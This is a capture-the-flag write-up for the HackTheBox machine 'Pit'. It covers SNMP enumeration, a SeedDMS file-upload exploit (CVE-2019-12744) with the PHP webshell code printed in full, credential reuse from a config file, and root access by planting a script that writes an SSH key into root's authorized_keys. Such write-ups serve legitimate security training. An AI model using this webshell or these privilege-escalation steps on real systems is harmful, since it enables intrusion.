Preface: Pit is a medium box on HackTheBox.eu. On our initial nmap scan we find some http ports. We can’t find an attack surface on them. Then we started a UDP nmap scan. Where we found an interesting port for us. We will find something useful. Then we can gain arbitrary code execution through an file upload. From there on we find further configuration files with some credentials. Once on the box we can create a shell file which let us drop our public ssh-key to user root users authorized_files file. Hack the box infocard Pit

Information gathering

As always we start with an nmap scan for open ports and services:

# Nmap 7.91 scan initiated Sat Jun 12 22:08:40 2021 as: nmap -sV -sC -oN nmap/pit.nmap 10.10.10.241
Nmap scan report for 10.10.10.241
Host is up (0.042s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey: 
|   3072 6f:c3:40:8f:69:50:69:5a:57:d7:9c:4e:7b:1b:94:96 (RSA)
|   256 c2:6f:f8:ab:a1:20:83:d1:60:ab:cf:63:2d:c8:65:b7 (ECDSA)
|_  256 6b:65:6c:a6:92:e5:cc:76:17:5a:2f:9a:e7:50:c3:50 (ED25519)
80/tcp   open  http            nginx 1.14.1
|_http-server-header: nginx/1.14.1
|_http-title: Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux
9090/tcp open  ssl/zeus-admin?
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 400 Bad request
|     Content-Type: text/html; charset=utf8
|     Transfer-Encoding: chunked
|     X-DNS-Prefetch-Control: off
|     Referrer-Policy: no-referrer
|     X-Content-Type-Options: nosniff
|     Cross-Origin-Resource-Policy: same-origin
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <title>
|     request
|     </title>
|     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <style>
|     body {
|     margin: 0;
|     font-family: "RedHatDisplay", "Open Sans", Helvetica, Arial, sans-serif;
|     font-size: 12px;
|     line-height: 1.66666667;
|     color: #333333;
|     background-color: #f5f5f5;
|     border: 0;
|     vertical-align: middle;
|     font-weight: 300;
|_    margin: 0 0 10p
| ssl-cert: Subject: commonName=dms-pit.htb/organizationName=4cd9329523184b0ea52ba0d20a1a6f92/countryName=US
| Subject Alternative Name: DNS:dms-pit.htb, DNS:localhost, IP Address:127.0.0.1
| Not valid before: 2020-04-16T23:29:12
|_Not valid after:  2030-06-04T16:09:12
|_ssl-date: TLS randomness does not represent time
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9090-TCP:V=7.91%T=SSL%I=7%D=6/12%Time=60C5148F%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,E70,"HTTP/1\.1\x20400\x20Bad\x20request\r\nContent-Type:
SF:\x20text/html;\x20charset=utf8\r\nTransfer-Encoding:\x20chunked\r\nX-DN
SF:S-Prefetch-Control:\x20off\r\nReferrer-Policy:\x20no-referrer\r\nX-Cont
SF:ent-Type-Options:\x20nosniff\r\nCross-Origin-Resource-Policy:\x20same-o
SF:rigin\r\n\r\n29\r\n<!DOCTYPE\x20html>\n<html>\n<head>\n\x20\x20\x20\x20
SF:<title>\r\nb\r\nBad\x20request\r\nd08\r\n</title>\n\x20\x20\x20\x20<met
SF:a\x20http-equiv=\"Content-Type\"\x20content=\"text/html;\x20charset=utf
SF:-8\">\n\x20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=de
SF:vice-width,\x20initial-scale=1\.0\">\n\x20\x20\x20\x20<style>\n\tbody\x
SF:20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20margin:\x200;\n\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\x20\"RedHatDi
SF:splay\",\x20\"Open\x20Sans\",\x20Helvetica,\x20Arial,\x20sans-serif;\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-size:\x2012px;\n\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20line-height:\x201\.6666666
SF:7;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20color:\x20#333333;\
SF:n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20background-color:\x20#
SF:f5f5f5;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20img\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20border:\
SF:x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20vertical-align:\
SF:x20middle;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20h1\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-w
SF:eight:\x20300;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20
SF:\x20\x20\x20p\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20mar
SF:gin:\x200\x200\x2010p")%r(HTTPOptions,E70,"HTTP/1\.1\x20400\x20Bad\x20r
SF:equest\r\nContent-Type:\x20text/html;\x20charset=utf8\r\nTransfer-Encod
SF:ing:\x20chunked\r\nX-DNS-Prefetch-Control:\x20off\r\nReferrer-Policy:\x
SF:20no-referrer\r\nX-Content-Type-Options:\x20nosniff\r\nCross-Origin-Res
SF:ource-Policy:\x20same-origin\r\n\r\n29\r\n<!DOCTYPE\x20html>\n<html>\n<
SF:head>\n\x20\x20\x20\x20<title>\r\nb\r\nBad\x20request\r\nd08\r\n</title
SF:>\n\x20\x20\x20\x20<meta\x20http-equiv=\"Content-Type\"\x20content=\"te
SF:xt/html;\x20charset=utf-8\">\n\x20\x20\x20\x20<meta\x20name=\"viewport\
SF:"\x20content=\"width=device-width,\x20initial-scale=1\.0\">\n\x20\x20\x
SF:20\x20<style>\n\tbody\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20margin:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20fon
SF:t-family:\x20\"RedHatDisplay\",\x20\"Open\x20Sans\",\x20Helvetica,\x20A
SF:rial,\x20sans-serif;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20f
SF:ont-size:\x2012px;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20lin
SF:e-height:\x201\.66666667;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20color:\x20#333333;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0background-color:\x20#f5f5f5;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20
SF:\x20\x20\x20\x20\x20\x20\x20img\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20border:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20vertical-align:\x20middle;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20h1\x20{\n\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20font-weight:\x20300;\n\x20\x20\x20\x20\x20\x20\x20\x20
SF:}\n\x20\x20\x20\x20\x20\x20\x20\x20p\x20{\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20margin:\x200\x200\x2010p");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jun 12 22:11:56 2021 -- 1 IP address (1 host up) scanned in 196.59 seconds

We got three open ports. The port 80 seems to be a default Nginx test page running on a Red Hat Enterprise. On port 9090 runs a service with https. There is also a leak of a domain: dms-pit.htb. So we first go for the port 9090.

Port 9090

At first I will browse to the port using firefox and check the ssl certificate. Maybe there are more informations for us. Port 9090 check ssl certificate

At first we got a login page for CentOS. Maybe we need this information later. In the certificate is also another domain: pit.htb.

Hosts

Now I will update my /etc/hosts file with these two domains. Maybe there is a custom virtual host routing. But unfortunately not.

gobuster

I tried to find something useful with gobuster and various wordlists. On port 80, 9090 and the two domains. But there was nothing we could use to take leverage of it.

nmap - UDP

Let’s run an UDP scan with nmap. I do this because nmap will perform by default an TCP SYN scan and with lower privileges it will do an TCP connect scan. It is always a good idea to run an UDP scan if we can’t find a vulnerable attack surface on one of the TCP ports we found.

NOTE: UDP scans are not that reliable as TCP scans. This is caused by the UDP protocol itself. So maybe it is useful to run it multiple times if you can’t find something on the first scan. More informations here.

# Nmap 7.91 scan initiated Sat Jun 12 22:56:22 2021 as: nmap -sU -sV -sC -oN nmap/pit-udp.nmap 10.10.10.241
Nmap scan report for pit.htb (10.10.10.241)
Host is up (0.042s latency).

PORT    STATE    SERVICE  VERSION
161/udp open     snmp     SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-info: 
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: 4ca7e41263c5985e00000000
|   snmpEngineBoots: 71
|_  snmpEngineTime: 49m15s
| snmp-sysdescr: Linux pit.htb 4.18.0-240.22.1.el8_3.x86_64 #1 SMP Thu Apr 8 19:01:30 UTC 2021 x86_64
|_  System uptime: 49m15.51s (295551 timeticks)
162/udp filtered snmptrap

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jun 12 22:56:52 2021 -- 1 IP address (1 host up) scanned in 30.39 seconds

Awesome, we found two further ports. The port 161 is the interesting one for us. There is snmp running on it. Let’s see how we can gain informations from this service. After some researching and google fu I found snmpwalk and snmpbulkwalk.

snmpbulkwalk

I go for the snmpbulkwalk. More informations are always better. We can extract the necessary informations with grep and various other tools.

$ snmpbulkwalk -v2c -On -t 5 -c public 10.10.10.241 1 > snmp/snmpbulkwalk.txt
$ cat snmp/snmpbulkwalk.txt
... [] ...

.1.3.6.1.4.1.2021.9.1.2.1 = STRING: "/"
.1.3.6.1.4.1.2021.9.1.2.2 = STRING: "/var/www/html/seeddms51x/seeddms"
.1.3.6.1.4.1.2021.9.1.3.1 = STRING: "/dev/mapper/cl-root"
.1.3.6.1.4.1.2021.9.1.3.2 = STRING: "/dev/mapper/cl-seeddms"

... [] ...
Login Name           SELinux User         MLS/MCS Range        Service

__default__          unconfined_u         s0-s0:c0.c1023       *
michelle             user_u               s0                   *
root                 unconfined_u         s0-s0:c0.c1023       *

... [] ...

This is a huge output (what we expected). But I found something useful:

.1.3.6.1.4.1.2021.9.1.2.2 = STRING: "/var/www/html/seeddms51x/seeddms"

On our previous enumerations we found pit.htb and dms-pit.htb. Let’s see if we can find this seeddms directory. seedDMS on dms-pit.htb Yes! It is on dms-pit.htb.

I searched for the seedDMS, which is a free document management system. The default credentials are admin:admin. But those are not valid on our present installation. As you can see below, there is a user michelle. Let’s try some standard passwords for it.

Login Name           SELinux User         MLS/MCS Range        Service
michelle             user_u               s0                   *

I try always some default, standard and weak passwords. Also always the username itself. So I found the correct credentials: michelle:michelle. seedDMS michelle login

Foothold

Now it is time to check searchsploit for known vulnerabilties for seedDMS.

$ searchsploit seeddms
-------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                              |  Path
-------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
SeedDMS 5.1.18 - Persistent Cross-Site Scripting                                                                                            | php/webapps/48324.txt
SeedDMS < 5.1.11 - 'out.GroupMgr.php' Cross-Site Scripting                                                                                  | php/webapps/47024.txt
SeedDMS < 5.1.11 - 'out.UsrMgr.php' Cross-Site Scripting                                                                                    | php/webapps/47023.txt
SeedDMS versions < 5.1.11 - Remote Command Execution                                                                                        | php/webapps/47022.txt
-------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

There is a RCE vulnerability. The other ones are not that useful for us. Let’s check it out:

$ searchsploit -x php/webapps/47022.txt
# Exploit Title: [Remote Command Execution through Unvalidated File Upload in SeedDMS versions <5.1.11]
# Google Dork: [NA]
# Date: [20-June-2019]
# Exploit Author: [Nimit Jain](https://www.linkedin.com/in/nimitiitk)(https://secfolks.blogspot.com)
# Vendor Homepage: [https://www.seeddms.org]
# Software Link: [https://sourceforge.net/projects/seeddms/files/]
# Version: [SeedDMS versions <5.1.11] (REQUIRED)
# Tested on: [NA]
# CVE : [CVE-2019-12744]

Exploit Steps:

Step 1: Login to the application and under any folder add a document.
Step 2: Choose the document as a simple php backdoor file or any backdoor/webshell could be used.

PHP Backdoor Code: 
<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>

Step 3: Now after uploading the file check the document id corresponding to the document.
Step 4: Now go to example.com/data/1048576/"document_id"/1.php?cmd=cat+/etc/passwd to get the command response in browser.

Note: Here "data" and "1048576" are default folders where the uploaded files are getting saved.

Okay, we are able to upload an arbitrary php file . So a default php webshell will do the job. I create a file named qty.php with the following content:

<?php 
if (isset($_REQUEST['cmd'])){ 
	echo "<pre>"; 
	system($_REQUEST['cmd']); 
	echo "</pre>"; 
	die; 
}
?>

After the upload I intercepted the request with burpsuite and put in my reverse shell. seedDMS webshell upload

Before we send the payload I started my nc listener:

$ nc -lvnp 4444
bash-4.4$ whoami && hostname
whoami && hostname
nginx
pit.htb
bash-4.4$ 

SHELL: nginx

User

Before we start with linePEASon the box we check the seedDMS directory in the ngnix web directory. There is a /conf folder with a settings.xml file. There are mysql credentials:

<database dbDriver="mysql" dbHostname="localhost" dbDatabase="seeddms" dbUser="seeddms" dbPass="ied^ieY6xoquu" doNotCheckVersion="false">

mysql

Unfortunately the mysql service is not accessible from outside. Only from the localhost. So we can not connect directly with the mysql database.

SSH

I tried to use the password for the michelle user to login via ssh. But unfortunately the SSH service is configured to allow only Key-Based Authentication. No luck for us here.

Cockpit web console

On the previous enumerations we found the CentOS login page on the port 9090. Let’s try some configurations with these credentials. I ended up to login with the following credentials: michelle:ied^ieY6xoquu.

On the cockpit there is a Terminal link in the left sidebar. So we got terminal access via the web console with the user michelle. Cockpit valid login michelle

SHELL: michelle

Root

As always I run LinPEAS to check for common vulnerabilities and misconfigurations. But I can’t find something odd this time. I also tried LinEnum, but nothing. So I decided to go over all saved output I got from my previous enumerations. After some time I found something unusual:

.1.3.6.1.4.1.8072.1.3.2.2.1.2.10.109.111.110.105.116.111.114.105.110.103 = STRING: /usr/bin/monitor

In my snmpbulkwalk output is a uncommon binary /usr/bin/monitor. So let’s check this file out. First I take a look what file type it is:

$ file /usr/bin/monitor
/usr/bin/monitor: Bourne-Again shell script, ASCII text executable

This is not a binary file. We got a shell script so we should take a look into it:

$ cat /usr/bin/monitor #!/bin/bash
for script in /usr/local/monitoring/check\*sh
do 
	/bin/bash $script
done

This script got all files with a file name pattern check<RANDOM>sh from the folder /usr/local/monitoring/ and run it with bash. So this will be run in the same context as the script itself. Let’s see what permissions we got for this two folders. Maybe we can gain arbitrary code execution with this.

I will check the permissions on the /monitoring folder.

$ ls -la /usr/local/  
total 0  
drwxr-xr-x. 13 root root 149 Nov 3 2020 . 
drwxr-xr-x. 12 root root 144 May 10 05:06 .. 
drwxr-xr-x. 2 root root 6 Nov 3 2020 bin 
drwxr-xr-x. 2 root root 6 Nov 3 2020 etc 
drwxr-xr-x. 2 root root 6 Nov 3 2020 games 
drwxr-xr-x. 2 root root 6 Nov 3 2020 include 
drwxr-xr-x. 2 root root 6 Nov 3 2020 lib 
drwxr-xr-x. 3 root root 17 May 10 05:06 lib64 
drwxr-xr-x. 2 root root 6 Nov 3 2020 libexec 
drwxrwx---+ 2 root root 122 May 17 13:40 monitoring 
drwxr-xr-x. 2 root root 6 Nov 3 2020 sbin 
drwxr-xr-x. 5 root root 49 Nov 3 2020 share 
drwxr-xr-x. 2 root root 6 Nov 3 2020 src

We got no standard permission on the folder. Only the user and the group root. But at the end is a + sign. This means there is ACL implemented on this folder. In simple terms it has extended permissions. We check those:

$ getfacl /usr/local/monitoring/ 
getfacl: Removing leading '/' from absolute path names 
# file: usr/local/monitoring/  
# owner: root  
# group: root  
user::rwx  
user:michelle:-wx  
group::rwx  
mask::rwx  
other::---

The owner is root but the user michelle (our current user) got write and execute permissions. So we can drop a arbitrary shell file which is going to be executed in the root user context I guess.

On my local machine I created a new ssh key-pair. Which I use for my shell script. Because I will drop my public key into the authorized_keys file of the root user.

I created this file on the box:

$ cat check-qty.sh
echo "<SSH-PUBLIC-KEY" > /root/.ssh/authorized_keys

Now I will copy it to the correct location:

$ cp check.sh /usr/local/monitoring/

Now we need to run snmpwalk to trigger the /usr/bin/monitor executable. On the previous enumeration we found the monitor file via snmpbulkwalk. There we got the object identifier for it. This is an address used to uniquely identify managed devices and their statuses in a network.

$ snmpwalk -m +MY-MIB -v2c -c public pit.htb nsExtendObjects

Now we should able to login with our private key. NOTE: make sure you set the correct permissions on the private key (chmod 600 <PRIVATE-KEY>).

$ ssh -i root_id_rsa root@pit.htb
Web console: https://pit.htb:9090/
Last login: Mon May 17 14:21:20 2021 from 10.10.14.12
[root@pit ~]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0- s0:c0.c1023

Nice! We got a root shell!

SHELL: root


Thanks for reading! I hope you enjoyed it!